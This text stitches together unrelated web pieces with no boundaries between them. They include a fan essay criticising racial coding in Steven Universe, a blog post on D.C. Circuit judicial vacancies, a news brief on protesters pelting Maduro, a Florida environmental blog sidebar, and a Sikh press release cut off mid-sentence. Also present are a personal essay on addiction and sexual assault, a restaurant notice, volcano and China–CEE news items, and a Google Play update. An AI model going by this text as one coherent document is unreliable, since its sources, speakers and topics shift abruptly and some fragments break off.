Third: Due to Amethyst’s AAVE, I will discuss her as a Black-coding character. Garnet, Bismuth, Jasper, and Sugilite are also going to be discussed as Black-coding. Sardonyx will be discussed as biracial Black, in particular, softened by Pearl’s part in the fusion. Lapis and Peridot will be discussed as specifically Asian-coding. Pearl is explained above. Steven, Greg, and Rose are white. (Don’t bother arguing with me. They are undoubtedly white.)
Wanna Discuss This Essay With Me? Know This.
• If you would like an explanation of why I used this specific coding, ask me privately on Twitter. It is not the purpose of this essay, which is mostly aimed at people closer to my circles in the fandom, and fans of color.
If you would like an explanation of why I used this specific coding, ask me privately on Twitter. It is not the purpose of this essay, which is mostly aimed at people closer to my circles in the fandom, and fans of color. • I do not care about white people’s responses to this post. At all.
I do not care about white people’s responses to this post. At all. • For disclosure: I am a Black Asian.
For disclosure: I am a Black Asian. • You need to read this thread on Twitter before discussion will happen.
You need to read this thread on Twitter before discussion will happen. • Also read this thread about the “coincidence/intent” arguments and why I will never entertain them.
So What’s the Deal With This Essay?
Steven Universe has been, from the beginning, doing a poor job of displaying Blackness, Black women, and Black femmes, both in their own rights, and in relation to the non-Black and non-Black coding characters around them. Garnet being queer appeared to be the saving grace, and for a long time I ignored warning signs and tried to believe so myself, but after Bismuth, I can’t ignore it any longer.
East Asians, white women, and Black men are not a replacement for good Black women writers. Steven Universe has NO Black women writers, despite having so many Black and Black-coding women characters, and that is likely a good start for the explanation of why they have repeatedly, since the start of the series, failed to properly represent Black women.
Garnet’s Early Role
As the Sound of Music song goes, let’s start at the beginning, with Garnet’s opening narrative.
The first 10 episodes see very little Garnet to begin with. The eleventh, “Arcade Mania”, demonstrates Garnet’s capacity to be leader very clearly, but she’s very distant as a character, closed off, quiet. We don’t have much of a clue at all about her personality or her thoughts, except that she has a tendency to be somewhat existential.
(In the meantime, Amethyst is painted as the lazy, slobbish, loud, childish Gem who literally eats garbage for fun. Three of those four terms are common negative stereotypes of Black women. However, Amethyst is at least painted as a whole person with a distinct personality and outlook on life, which is more than we can say for Garnet. “Tiger Millionaire” is an episode that makes Amethyst’s questionable traits endearing. In addition, Amethyst’s coding is less apparent than Garnet’s, especially in this early period of the series.)
“So Many Birthdays” is the first episode that demonstrates that Garnet has actual emotions besides staring blankly, but she’s not actually the focus, and we still know very little about her, except that she thought “violence was the answer”, and she loves Steven (which we could reasonably assume of all three Crystal Gems anyway).
“Violence is the answer”, eh? A curiously stereotypical first sliver of Garnet’s personality.
Garnet’s body itself is a stereotype, a “trademark” of Black women’s bodies, large bust, large hips. Some (assholes) have pointed out that Garnet seems very sexual because she touches her hips a lot, but how could she not…they run past her shoulder span.
Did you know Black women have been put in literal museums as exhibits for their *~strangely~* wide hips and large butts?
The last thing I want to touch on is Garnet’s use of a gloves as a weapon, here. The very few Black characters that do exist in shounen anime are commonly depicted as brawlers; this means a LOT of fist, hand and knuckle weapons. Garnet is the newest addition to that family. That said, I won’t dwell on this point since it demonstrates an annoying trend rather than a serious problem.
Fusion Loves A Good Stereotype
For this section, I want to begin by pointing out some canon features of fusion.
• Fusion requires a mutual understanding and connecting “dance” between the two Gems choosing to engage.
Fusion requires a mutual understanding and connecting “dance” between the two Gems choosing to engage. • Fusion involves intense intimacy and thus can be very uncomfortable and unpleasant for mismatched Gems. It can also be the polar opposite for highly matched Gems.
Fusion involves intense intimacy and thus can be very uncomfortable and unpleasant for mismatched Gems. It can also be the polar opposite for highly matched Gems. • In cases of more mismatched Gems, the fused being seems to take on something of a dominant personality that matches the Gem currently with more control. (Ask me on Twitter to explain.)
Opal is the first and the least problematic of the emotionally charged fusions (if you ignore that she’s an imitation of desi deities with no desis involved…), but still manages to start a road of portraying Black women as masculine, particularly surrounding Pearl’s obvious and overblown femininity.
Pearl is the ballerina of the trio and when dancing, Amethyst is forced to take on the dance role that would normally go to a male dancer:
The feminine partner is the one that gets dipped in essentially all forms of dancing common in US culture.
Amethyst takes this role both times we see the dancing leading up to an Opal fusion.
Less obvious here, but Amethyst is still taking on a male dancing role that focuses on Pearl’s femininity.
I want to note here that Opal’s mannerisms and personality seem to match much more closely with Pearl and very little with Amethyst.
Still, it’s really “Coach Steven”, episode 20 and the highlight of Sugilite, that really marks the obvious descent around the dynamic by which Pearl interacts with Garnet and Amethyst.
Sugilite — All the Worst Ideas about Black Women wrapped in a “Ghetto” Package
Sugilite is a travesty of anti-Blackness that doesn’t make any attempts to redeem itself from the beginning of the 11 minute episode to the very end.
Garnet and Amethyst both get a heaping helping of the Jezebel Stereotype before we even get to see Sugilite. Sugilite’s formation quite literally involves Amethyst jumping between Garnet’s legs:
Oh yeah, no awkward statements about Black women here!
This is only exacerbated by the fact that Amethyst specifically codes as your “ratchet” Black girl, speaking mostly AAVE and rarely deviating. To top the trashcake off, the two of them together become a huge, highly aggressive, out of control Black girl…voiced by Nicki Minaj, who was, around the time of this episode airing, being slammed for putting a sexual image of herself on her album cover.
Sugilite, a merging of two Black girls who become “insane” and “violent” and “angry” and need to be subdued by Pearl.
Oh, but it gets better. Not only is Sugilite the most out of control angry ratchet Black bitch, but who is the only Gem that could possibly control her? Naturally, the delicate lily Pearl. Regardless of whether you code Pearl as white or Asian, there are a million problems with this narrative and Black women have gotten a hearty smack to the face. Pearl manages to turn Sugilite’s rage against her, causing her to hit herself in the head with her own weapon.
The most blatantly daunting part about this episode is that this subduing of a large Black woman is considered a way to make Pearl better as a character and a person. Pearl’s growth in this episode hinged on Pearl’s ability to tear apart a large, unrepentant Black woman. She sings a damn song about how she can’t be strong in a “real way” until she can take on this big, Black brute, for the love of Bob.
(This is one of the bigger reasons why I find it so strange that people consider Pearl Asian; this narrative of needing WoC to suffer to solve problems is one done so often with white women. For an entire series’ worth of examples, watch Charmed. Witches of color are constantly maimed and murdered to improve the three main white witches.)
And naturally, Pearl has always disliked Sugilite, and Pearl even tries to hold Steven back from even watching the act of Amethyst and Garnet fusing, which suggests that they are at the very least being extremely inappropriate, so much so that they’re rated over PG-13. And of that highly sexual, inappropriate union that Steven should not be allowed to see, is born the pinnacle of the meanest Black girl stereotypes.
What really annoyed me about Sugilite is that she’s a much more stable fusion than Opal, who comes apart fairly quickly to display how Pearl and Amethyst don’t get along. The rougher edge of Garnet’s personality (which we don’t realize is Ruby until much later) combines with Amethyst’s personality, and they become somewhat indistinguishable from each other, simply becoming Sugilite. Their mannerisms aren’t particularly polarized toward either Crystal Gem, they’re an expertly crafted dish. But is this painted in any sort of positive light, this smooth blend of two Black girls? No, instead, it’s considered an unhealthy connection between Amethyst and Garnet, their combined Blackness easily combining to make them all the more Black…and violent…and uncontrollable.
(Contrast with Opal, who is somehow perfectly controlled as long as Amethyst and Pearl can tolerate staying together.)
But the piece de resistance of fusion between our main three gems is really Sardonyx.
Sardonyx — How Do You Improve a Ghetto Black Girl? Add white.
Truthfully, this section can be aimed both toward Opal and Alexandrite as well as Sardonyx. All three of these fusions are demonstrated as viable, usable fusions, and all three contain Pearl. Meanwhile Sugilite, made of just two Black girls is as Garnet succinctly put it, benched.
In other words, banned.
And that’s how the episode starts. Garnet admits that Sugilite is a trainwreck and not usable, and Amethyst is clearly upset at the implication that her existence effectively “ruins” Garnet’s capabilities.
And so Pearl gets her shot, finally. Once again, Pearl’s overbearing white femininity is rubbed into our faces as Garnet takes on the masculine dance partner role.
Whose Femininity is Recognized? The Fusion Dance
Look at Garnet manhandle the delicate, dainty flower Pearl! Garnet’s style is literally pink, purple and hyperfemme, but no Black girl escapes the draw of playing man to inherently hyperfemme Pearl.
This dance annoyed me from the beginning because until the moment that Garnet actually needs to touch Pearl, her dancing actually leans feminine!
When creating Sugilite, there is neutral gendering of both Garnet’s and Amethyst’s movements, and neither character does anything that polarizes one of them into a more masculine or more feminine role! But our Black girls can never be more feminine than Pearl, nor can they even be neutral around Pearl, and so it is merely natural that they be forced to take on masculine roles just for Pearl.
Taking a short aside, I want to point out two instances of Garnet’s femininity elsewhere in the series. The first is during her only solo song, during her fight with Jasper. We all know what Jasper looks like. Big. Beefy. Buff. Tall. Aggressive, much more so than Garnet or even Ruby individually have ever been. Black. It’s during this fight that Garnet gets to move in an undeniably feminine manner.
Black queer femininity only exists as long as there’s a woman bigger, manlier and Blacker to make it look good.
The second is during “Love Letters”, where Garnet’s pair off is…an actual man. Her complete lack of sexual and romantic interest in anyone else has recently become apparent, but the narrative can’t help making her a sex object just for Jamie, rising from the ocean like the Jezebel Goddess she is, making him completely forget his dream of being an actor because he has just got to focus on her.
Black queer women can be feminine if attracting a man is involved, yay, being an object!
So Garnet can be feminine…as long as it’s framed in a cishetero light, or she’s dealing with an even Blacker, an even meaner, an even bigger and more butch Black woman.
And, as long as she knows her place where Pearl is involved.
Just remember, Black women, you are always the man for white women!
If this was the only issue with Sardonyx, I wouldn’t have bothered to give her an entire section, but this is just the tip of the iceberg of racialized, misogynoiristic problems with this fusion.
Sardonyx’s entrance is marked with a jazzy beat and a strange mashups of accents that dip between “classic” American (for Pearl), British (for Garnet), and, despite neither character having this accent, Southern. If you know a little about linguistics and the history of the Southern US accent, you know that it is actually an interesting offshoot of British accents. What’s interesting to me in particular is that Sugilite doesn’t develop this mashup, and how this twists implications of Sardonyx’s character.
More disclosure: My father is Creole, from Louisiana. There is a history concerning US Creoles, and how the term eventually referred to a certain group of part-white Black people, who ended up more educated and in better situations than those around them. The music, Sardonyx’s style and weird Southern accent infusion, as well as her word choices, speak to that in way that made me highly uncomfortable from jump.
To make that unfortunate implication a full blown problem, the entire narrative around this appearance is full of horrible colorist references that are not ever resolved…period.
Short history lesson: Mulattos in the US have historically enjoyed multiple benefits over Black people without any white heritage. They formed exclusive clubs wherein you needed to pass the paper bag test to be allowed in, and through those clubs helped each other gain access to education and money. This goes all the way back to the field negro vs the house negro; the children of white slave owners who raped their slaves were given better jobs (in the master’s house) and dominion over field slaves. They were often given more education as well, and after slavery was over, being mixed or part-white became a mark of status for Black people. This is still true today.
In order:
Sardonyx (conveniently) can turn her torso 360 degrees on a pivot much like a lazy suzan. Steven (with equal convenience) calls her “articulated” after seeing her do so. I’m sure most Black girls had to rewind a little bit to make sure they heard what they heard, considering “articulate” is one of the first things white people will comment Black people who “speak proper Queen’s English” on. It is not even vaguely a compliment, but instead a way to distance a person from their Blackness and revel in a perceived closeness to whiteness.
A notable remnant of anime is the “hime laugh”, a trademark laugh given to high class women who are usually dark in some fashion. Sardonyx, of course, laughs like this, cementing the idea of her as a “high-class” Black. She also drops contractions, which is often associated with appearing extra brilliant. (Contrast to Sugilite’s speech, which, while it isn’t exceptionally strong in AAVE, is rough and aggressive.)
Sardonyx’s aesthetic is that of a performer. She arrives from behind a curtain, she has a magic show, and she’s wearing a suit. Many and arguably MOST highly successful and famous early Black performers in the US were light skinned and/or part white; they HAD to be to gain the acceptance needed to work regularly.
Sardonyx’s attitude toward Amethyst and Sugilite is very clear: Sugilite, the ghetto Black girl, is lesser, and she, refined, part-white woman, is greater. She’s not subtle, and the narrative makes it explicit who she’s talking about! Steven asks her if she plans to “smash stuff with her warhammer”, and Sardonyx replies:
“Smash is the word one would use to describe what…someone else might do.”
The camera pans to Amethyst halfway through this line, and she’s clearly upset by what Sardonyx is saying about her and Sugilite. At this point, while Amethyst hasn’t been exceptionally pleased about Sardonyx, she hasn’t done anything flat insulting, like say…insist that Sardonyx shouldn’t exist despite being an obviously pompous jerk who enjoys ribbing Amethyst.
But Sardonyx doesn’t let it go here. Continuing directly from the insult, she goes on to provide a list of words that she feels describe her, with the implication that Sugilite is the opposite of those things. Naturally, the list details Sardonyx as a highly intelligent, scientific, elegant and beautiful being.
Unlike that ahem…other fusion.
It’s your basic “I’m better because I’m half-white and you’re not” scenario that is so familiar to so many Black girls, and it stung hard. It also demonstrates which Gem controls Sardonyx’s mouth; Garnet never insults Pearl or Amethyst, especially not about things that really bother them, so we know that it’s Pearl talking, at least at that moment. Pearl controls Opal. Pearl…mostly controls Sardonyx. Pearl is the feminine brain without which our two masculine Black girls cannot hope to maintain control over a large scale fusion.
(Another interesting point about Sardonyx, and in fact every fusion with Pearl we’ve seen except Rainbow Quartz, is that she is also visibly unstable. We know that smooth fusions become one person, one personality, like Garnet, like Sugilite. The line between Gems is blurred to the point of irrelevance. We also know that poor fusions polarize and have a lot of trouble staying together, like Malachite, like Opal, and like Sardonyx. Why does Sardonyx switch accents? Her demeanor and speech both switch mid-line while she is talking to Steven, and though it does eventually balance out in favor of Pearl, you can see that divide fairly clearly. So why is it that the smoothest, most natural fusion is painted as bad, while these fusions with Pearl are the useful options? Why are stressful fusions painted as better than a pleasant one? I’ll give you one hint…and it’s whiteness.)
The entire tone around her is even more nauseating when you consider that Sardonyx only has three appearances; one where she insults Amethyst, one where Pearl is raping Garnet, and a third where Garnet is forcibly revictimized and left with only two choices; fusing with Pearl again or dying.
That Time the Narrative Forgot Pearl Used Garnet as a Sexual Comfort Toy
Only Sardonyx’s second appearance is really treated as a problem at all, and not enough of one that anyone actually tries to help Garnet, who is left to split in two to fix herself after a blatant violation.
Pearl is even allowed to exert her white victimhood while Garnet is trying to tell her how hurt she was that Pearl would betray her so completely and utterly; Pearl has needs, you see.
Needs that supersede Garnet’s right to uh, not be raped.
She needs someone to tell her what to do. She needs a replacement for Rose, and as the new leader, Garnet comes closest to that dominance Pearl desperately craves.
And Pearl is swiftly forgiven. One episode after this arc ends, it’s like Pearl was never a lying, coercive rapist at all. Hell, there isn’t even a change to Garnet’s relationship with Pearl, not even the vaguest sense of a strain. Garnet doesn’t cringe at Pearl’s touch, or avoid Pearl. She doesn’t treat Pearl any differently that we can actually see. In fact, Garnet moves on as if the rape was a minor setback, despite having been so emotionally distraught that it is the only thing short of being physically forced by a new Gem weapon that we have ever seen split Garnet. Being faced with the Homeworld’s response to her existence, a sick melted amalgamation of confused, horrified, lost Gem shards, and considering that Rose might have purposely kept her out of the loop doesn’t even manage to do that.
Life moves on and everyone’s the same as they were before it happened.
So is the narrative, which continues to give us more and more detail about how sad Pearl is about Rose, no mention of how Pearl chose to use a Black woman’s body as a love proxy for the person she truly wanted. No mention of Pearl’s use of Garnet as a sexual comfort object.
And, Garnet’s been fairly sparing since then, the proverbial icing on this downright evil narrative cake the writers of Steven Universe served their Black fanbase.
Sadly, that wasn’t enough queer Black woman abuse and misrepresentation for one show. The second part of this essay will go into Bismuth, and why I finally had to put my foot down and quit this series.Wash. Times Lazily Parrots GOP Misinformation On D.C. Circuit Vacancies May 24, 2013 3:32 PM EDT ››› Blog ›››››› SERGIO MUNOZ
The Washington Times attempted to recycle misinformation about Senate Majority Leader Harry Reid's warning that GOP obstructionism of President Obama's nominees is unsustainable, but published an inaccurate argument that doesn't support its own rhetoric. In a May 24 editorial, The Washington Times claimed Reid's announcement that he would revisit filibuster reform in July because of the unprecedented obstructionism of the president's executive and judicial nominees "disturbed the peace of the Senate" and was a "variant" of court-packing analogous to former President Franklin Roosevelt's famous threat to expand the number of seats on the pre-war Supreme Court. From the editorial: Senate Majority Leader Harry Reid doesn't like the direction the federal judiciary is heading, so he has come up with a variant of court-packing to achieve his results. He took the Senate floor Wednesday to defend the use of the "nuclear option" to bypass Senate rules and force through President Obama's nominees to the U.S. Court of Appeals for the District of Columbia Circuit. That would be the same court whose three-member panel in late January ruled, unanimously, that Mr. Obama's faux "recess appointments" of Big Labor-approved nominees to the National Labor Relations Board were unconstitutional. "You have a majority in that court that is wreaking havoc in the country," Mr. Reid complained, citing only the NLRB ruling. "For the first time in 230 years, they ruled the president can't make a recess appointment." The three judges accused of havoc-wreaking merely made the point, obvious to English-speakers everywhere, that the president is obliged to wait for a recess before he can make a recess appointment. [...] Mr. Reid's rant disturbed the peace of the Senate amid debate over how quickly to proceed with the nomination of Deputy Solicitor General Sri Srinivasan to the 11-member D.C. appeals court, which currently has four vacancies. Mr. Reid's claim that the vacancies must be filled at once to restore ideological "balance" to the court is patently false, given that four of its seven judges are appointees of Republican presidents and three were appointed by Democrats. Four more liberal judges would likely guarantee a rubber stamp for Mr. Obama's agenda. Some "balance." Mr. Reid is trying to follow the example of Franklin D. Roosevelt, who dreamed up the concept of outcome-based adjudication with his 1937 attempt to pack the U.S. Supreme Court. Contrary to The Washington Times' description that Reid is trying to "bypass Senate rules," Reid is actually adopting a GOP proposal that was floated when Republicans were in the majority, which was to change Senate rules to allow filibusters to be broken by majority vote. Although a handful of longer-tenured Democratic Senators have been hesitant at such a move - the so-called "nuclear option" - the stark realization that GOP opposition to the president's agenda has extended to blanket opposition of his nominees is reportedly causing a change in position.
The unprecedented filibustering and similar obstructionist tactics has led to such a logjam that Reid has decided he will present the currently blocked nominees for labor secretary, Environmental Protection Agency administrator, Consumer Financial Protection Bureau director, and the remaining nominees to the important U.S. Court of Appeals for the D.C. Circuit all together. If the GOP blocks highly qualified nominees again, Reid has strongly suggested he will reform the filibuster and change Senate Rules so a president's executive and judicial nominees are allowed an up-or-down vote.
This is, of course, nothing like the "court packing" scheme that Roosevelt proposed.
Roosevelt's plan was to change the number of seats on the court, not fill vacant ones like Reid is attempting. Indeed, if any proposal is analogous, it is that of Sen. Chuck Grassley (R-IA), who despite having no problem filling vacant seats on the D.C. Circuit with right-wing judges when George W. Bush was president, now amazingly proposes eliminating the exact same ones. This would preserve the current skew toward Republican nominees, which when evaluated by how many judges actually hear and decide cases, is far more lopsided then The Washington Times admits. As illustrated by People For The American Way:
It is this slant on the D.C. Circuit to which Reid was referring, which even with the recent confirmation of Srikanth Srinivasan to one of the vacant seats, still is tilted toward Republicans by another four. The ensuing decisions from predictably conservative panels have been unsurprisingly hostile to progressive legislation and policy supported by Democratic presidents.
For example, although the editorial lambasts "outcome-based adjudication," The Washington Times amazingly applauds the D.C. Circuit's recent decision that completely changed the long-standing definition of "recess appointments" to one that conveniently assists the GOP blockade, explaining this decision was "obvious to English-speakers everywhere." But the editorial's bizarre assertion fails to address the fact that this "obvious" conclusion contradicts decades - if not centuries - of American precedent. Reid's observation of this history has been confirmed by multiple analyses, including two reports from the Congressional Research Service.
Nevertheless, The Washington Times is doing its best to bulwark GOP talking points in advance of what hopefully will be a serious reexamination in July of whether the Senate rules are currently broken and must be fixed with filibuster reform. As president of the Constitutional Accountability Center Doug Kendall explained in a recent op-ed, Senate Republicans have a lot to lose if their unprecedented obstructionism is curbed, which explains the right-wing media's frantic spin. From the Reuters op-ed:
So what is Grassley serious about? It looks like he is intent on maintaining conservative dominance over the D.C. Circuit. As Pulitzer prize-winning columnist Steven Pearlstein explained in the Washington Post, "Dysfunctional government has become the strategic goal of the radical fringe [on the political right].... Nowhere has this strategy been pursued with more fervor, or more success, than the U.S. Court of Appeals for the District of Columbia Circuit, where a new breed of activist judges are waging a determined and largely successful war on federal regulatory agencies." This war on federal agencies is succeeding because the D.C. Circuit is dominated by conservatives -- four of the court's seven current active judges are Republican appointees, as are five of the six senior judges, who also regularly hear cases. Ideology matters because the D.C. Circuit has exclusive jurisdiction over many federal laws and regulations involving a host of issues including national security, environmental protection, food and drug safety and employment laws. [...] It makes twisted political sense that Grassley and his colleagues would fight furiously to protect their ideological advantage on a court that is advancing an anti-regulatory agenda without congressional Republicans having to lift a finger - but that doesn't make these efforts right. The Constitution gives the Senate the duty of providing "advice and consent" on the president's judicial nominees. It doesn't give Grassley - or any other senator - the right to play political games that hurt the judiciary and the country.Media playback is unsupported on your device Media caption State media were broadcasting the event, but quickly cut away after Mr Maduro was pelted by protesters
Venezuela's President Nicolas Maduro has been pelted with objects by angry protesters as he left a military event.
State television captured the moment the crowd began to mob the leftist leader's vehicle in the south-eastern state of Bolivar on Tuesday.
Social media users said the objects thrown included stones and eggs.
Mr Maduro's presidency has come under increasing pressure as Venezuela's economy collapses and opponents accuse him of creating a dictatorship.
There have been five days of violent protest against Mr Maduro already this month, resulting in the deaths of two young men in the last week.
Opposition leaders are calling for a date to be set for postponed regional elections.
As for events on Tuesday, the Information Ministry did not respond to a request for further information from news agency Reuters.
Socialist Party officials tweeted Mr Maduro had been received by a cheering crowd in San Felix, while state television cut off the broadcast as his bodyguards appeared to be seeking to regain control.Translate
Facebook
Sandspur
SWFWMD matters Our present political mindset has carried us away from a rational appreciation for the irrefutable relationship between a healthy natural environment and economic wellbeing. It is fundamental that one will not survive without the other. SWFWMDmatters is a Blog about the intentional trashing of Florida's environmental conscience by today's conservative politics and what can happen if we don't become newly refocused upon promoting, protecting, and preserving a healthy natural Florida. The state's economic future is at risk.
- Sandspur
"The idea of water as a Common, is part of the wisdom of the ages." - Dorothy Monnelly
"Forgive me my nonsense, as I also forgive the nonsense of those that think they talk sense." - Robert Frost
Videos
Chinsegut: The Manor House
http://www.youtube.com/watch?v=eQcYW9jctoY
Videos of InterestChinsegut: The Manor House
Thanks for dropping by. Since 5.26.11,you are visitor number:
Blog Archive
Vietnam Helicopter Crews
"Helicopter casualties constitute a very high representation, percentage-wise, of ANC (Arlington National Cemetery) Vietnam War burials. According to the CoffeltGroup database there are 2,590 Vietnam War KIAs buried in this sacred cemetery, and of those KIA, pilot casualties make up over 9 percent. If one assumes non-pilot crewmember internments possess the same ratio, some 20 percent of Vietnam KIAs buried in Arlington National Cemetery (ANC) died while serving in rotary-wing aircraft."
“The
VHPA Aviator” - Issue 34-01 ~ January/February 2015
MARCAD WingsUSA: Connecticut State and City of Norwich Recognise the Fact of “1984 Sikh Genocide”
December 3, 2017 | By Sikh Siyasat Bureau
Norwich, CT USA (Press Release): To commemorate 33rd Anniversary Of “1984 Sikh Genocide” Swaranjit Singh Khalsa President Sikh Sewak Society International USA and Member Commission of City Plan of Norwich arranged gathering at his house in Norwich.
On this event many high profile political figures came to pay their homage to People who were killed by Indian Gov’t. In 1984 and to show their solidarity with Sikh Nation.
During the Commemoration State Senator “C |
every dollar I made to support my drug habit. I crashed in people’s apartments or people’s cars or abandoned buildings or I didn’t sleep at all. One night I ended up with a guy who told me about all the “junkie whores” he killed. I didn’t go to the police.
None of us did. In the eyes of the law, we were the criminals. Virtually every one of the women I knew on the street had a history of sexual abuse, often starting when they were little girls, and the men who raped and abused us were never punished. We were the ones punished. We were the ones who lived in fear of law enforcement, not our rapists. The fact that we weren’t hurting anyone was irrelevant.
Being drug addicts made us more vulnerable than other prostitutes. It’s difficult to say “no” to something you don’t want to do when you’re getting dopesick. Not surprisingly, some men specifically target women who look like they’re going into withdrawal. You learn quickly never to wait till the last moment to make the money you need and when you mess up and some maggot manages to take advantage of your desperation, you blame yourself. I know I did.
If you’re arrested for the crime of numbing your pain with an illegal narcotic, expect to be treated like subhuman garbage. There’ll be no presumption of innocence for you. Everyone you encounter will assume you’re guilty and treat you like the scum of the earth. You’ll be stripped naked in front of strangers and your body’s cavities will be searched for “contraband.” In most parts of the country, you’ll be forced to undergo a brutal cold turkey withdrawal (talk about cruel and unusual punishment). It used to be that way everywhere, but nowadays some jails are a little more compassionate, providing either methadone (rare if you’re not already in a program) or a medicated withdrawal (which often isn’t as helpful as it sounds and may just consist of OTC painkillers).
You also have a good chance of being sexually assaulted while behind bars. Most people think of prison rape as a problem affecting male prisoners, but incarcerated women (over 85% of who are non-violent offenders) are actually more likely to be sexually assaulted than incarcerated men. Having male guards supervise female inmates is a colossally bad idea and prohibited by the United Nations Standard Minimum Rules for the Treatment of Prisoners. In the U.S., however, jails and prisons routinely hire men to guard female prisoners because refusing to do so is considered employment discrimination.
Even if you’re never arrested for illegal drug possession, you’ll have plenty of opportunities to be treated like subhuman garbage. And to be sexually assaulted. Drug dealers are so used to desperate addicts offering to trade sex for drugs that many feel entitled to demand sex even if you have the money. Saying “no” can make the dealer decide not to sell to you (a big problem if you’re on the verge of getting sick or can’t get in touch with anyone else); it can also get you forcibly raped. Sometimes you end up going along with the demands because you know what will happen if you don’t. Crooked cops may also prey on you, threatening to arrest you if you don’t do what they say. And pretty much everyone will treat you like trash. I’ve known women who didn’t get horribly infected abscesses on their arms treated because they knew that medical personnel would treat them like shit. As in, “you did this to yourself; you would deserve it if we just let you die.”
But you don’t have to become addicted to heroin or cocaine post rape to be treated worse than your rapist. If you’re raped while attending college and subsequently convicted of using any type of illegal drug–even pot–as a coping aid, you’ll lose your financial aid eligibility for a year. Convicted rapists, on the other hand, do not lose their eligibility. Neither do any other criminals. Clearly drugs are such a singular evil that drug users and sellers alone deserve to be punished.
Or maybe not. What I would like to see happen is for all drugs to be legalized. They used to be legal and could be legal again, but I’m not holding out much hope that will happen. So I’ll settle for decriminalization. Stop treating drug users and addicts like criminals–that should be drug policy priority number one. And I’m not talking about offering drug users treatment instead of prison. Treatment should be available on demand, but it should never be mandatory or coercive.
Forcing someone into treatment before they’re ready can have disastrous, even fatal, consequences. But what if they’re never ready? They may not be. We like to believe that no matter how much trauma someone has suffered, there’s always a way to press the “undo” button. It’s just a matter of finding the right treatment, and voila, they’ll be back to their old self. Or at least functioning well without drugs. Alas, that’s not how it works. Some countries have started to make prescription heroin available to long-term addicts who, often as a result of severe PTSD, are unable to function without the drug acting as a “buffer.” Having legal access to heroin allows them to get off the prostitution/crime/jail merry-go-round and get their lives in order. Prescription heroin programs have been very successful, but what do you think the chances are we’ll give them a try in the punitive, moralistic US of A? Right.
That leaves treatment. Drug rehab, especially for female addicts, must offer therapy for sexual assault survivors as an option and should not have a moralistic component. Female drug addicts already feel like crap; the last thing they need to hear is that they’re “bad” people who’ve made “bad” choices. In many cases they made the only choice they could to go on living after having suffered unbearable trauma. Was turning to drugs a bad choice? Only if you consider suicide preferable to being a drug addict. No, the person who made the bad choice is the rapist or child molester who set the whole thing in motion. And the community that looked the other way. And the friends and family members who sided with the rapist. If anyone’s to blame it’s the rapists and the rape apologists and the rape enablers. But of course we’d much rather blame the victim.
AdvertisementsSome Eater readers asked us to look into The Safe House, whose notice popped up on the window of a University Avenue beauty supply store.
Returning to North Park's restaurant landscape is Nick Thanasith, whose last food endeavor, The Foundry, was located just across the road and closed in early 2013.
Thanasith, a neighborhood resident, is back with another craft beer-centric project; he and a partner are currently converting the 2,100-square-foot shop into a spy-themed restaurant serving a mostly-Japanese menu with 30-36 beer taps.
A trained sushi chef, Thanasith says he'll focus on Japanese pub food here, though sushi may be an occasional special. Among the beer-friendly izakaya-type snacks planned are chicken karaage, veggie or chicken yakisoba, deep fried oysters, and takoyaki, as well as grilled skewers beef tongue, chicken thigh with scallions, Japanese sausage and more.
The restaurant will also offer a rotating selection of steamed bun "tacos", with fillings that range from pork belly with caramelized onions to tempura shrimp with daikon and carrots. The chef says they'll switch to a more American menu for weekend brunch, serving braised duck hash, frittatas, and crab cake egg Benedict.
When The Safe House opens in June, Thanasith plans to keep the kitchen open late night, possibly until 2 a.m.
· All Coming Attractions on Eater [~ESD~]Mr. Miyairi, who is a spokesman for the Nagano prefectural police, said rescuers might have placed many of the climbers inside huts that had served as shelters on the mountainside, though he would not have full information until the rescuers returned.
The rescuers included soldiers, police officers and firefighters, local news reports said.
On Sunday, military helicopters reached the volcano for the first time since the eruption, after being blocked by the thick ash in the air. Television footage showed one helicopter that had rescued three hikers, who appeared to be conscious.
The Nagano prefectural government’s emergency response center said many hikers had descended on their own, though others appeared to be trapped in shelters awaiting rescue. It said 30 of the hikers who had left the mountain were being treated for injuries, some serious. An additional 10 hikers who were injured were being treated in Gifu, according to local news reports.China and 16 Central and Eastern European countries have identified several priority areas for all-round cooperation in the next 5 years. The priority areas ranging from infrastructure, finance to agriculture were set out in a medium-term agenda released after the 4th China-CEE summit held in Suzhou, east China's Jiangsu Province. CRI's Xie Cheng has more.
1125coop During the summit under the theme of "New beginning, New fields, New vision," China and CEE countries have sought to bring their bilateral ties to a new height under the framework of bilateral cooperation known as the '16+1' mechanism. Chinese Premier Li Keqiang proposed that establishing an open and win-win partnership will be a major goal for China-CEE cooperation, which will also focus on enhancing connectivity and advancing production capacity cooperation. On the sidelines of the summit, China signed separate deals with Hungary and Serbia on construction and revamping of a rail link between Belgrade and Budapest. The construction of the railway, set to cut travel time between the Serbian and Hungarian capitals by more than half, will begin within this year and be completed in 2 years. Premier Li also proposed an initiative to promote cooperation among port areas in the Baltic Sea, the Adriatic Sea and the Black Sea. "We are willing to cooperate with CEE countries in boosting connectivity in the 3 sea areas. Since we have rich experiences in port design and equipment manufacturing, we are willing to invest in port projects in CEE countries." Premier Li also noted that financing is the short plank of China-CEE cooperation, thus financing channels will be expanded to facilitate bilateral investment. "We proposed to establish a '16+1' multilateral financial firm. We will promote the projects, especially larger ones, under the principle of commercialization. On one hand, China applies to become a member of the European Bank of Reconstruction and Development so as to support the construction projects. One the other hand, China will support its equipment manufacturing under a commercial bank operation mode to meet the demands of CEE countries." China will also increase import of competitive farm produce from CEE countries and enhance bilateral cooperation in the fields of trade and people-to-people exchanges. Many CEE countries' leaders have expressed their support for China's proposals. Latvian Prime Minister Laimdota Straujuma said she especially supported the new cooperation initiative in Adriatic-Baltic-Black Sea region. "I would like to express our support for the sea port corridor initiative connecting Baltic and Black Sea and Adriatic ports proposed by our Chinese colleagues. I'm grateful and have high confidence for Latvia." China and CEE countries scored a fast growing yet moderate trade volume of some 60 billion U.S. dollars last year, accounting for one tenth of the volume between China and all the European countries. For CRI, I'm Xie Cheng. Related: China Agrees Railway Deals with Hungary, Serbia Full Text of Chinese Premier Li Keqiang's Remarks at the Fourth Summit of China and Central and Eastern European CountriesAs tablets and smartphones are getting faster and shipping with more storage, people are doing more and more with them. For some time now, the maximum file size that developers could make their apps on the Google Play Store has been 50MB, not including expansion files. The company has announced on their Android Developers blog that they are increasing the APK (application) file size from 50MB to 100MB. Users will now see a warning when the app exceeds 100MB and not 50MB, and – for those worried about their data plans – the default update setting for larger applications will remain set to auto-update over WiFi only.
Google reminds developers that even though they can make their app bigger, doesn’t mean they should:
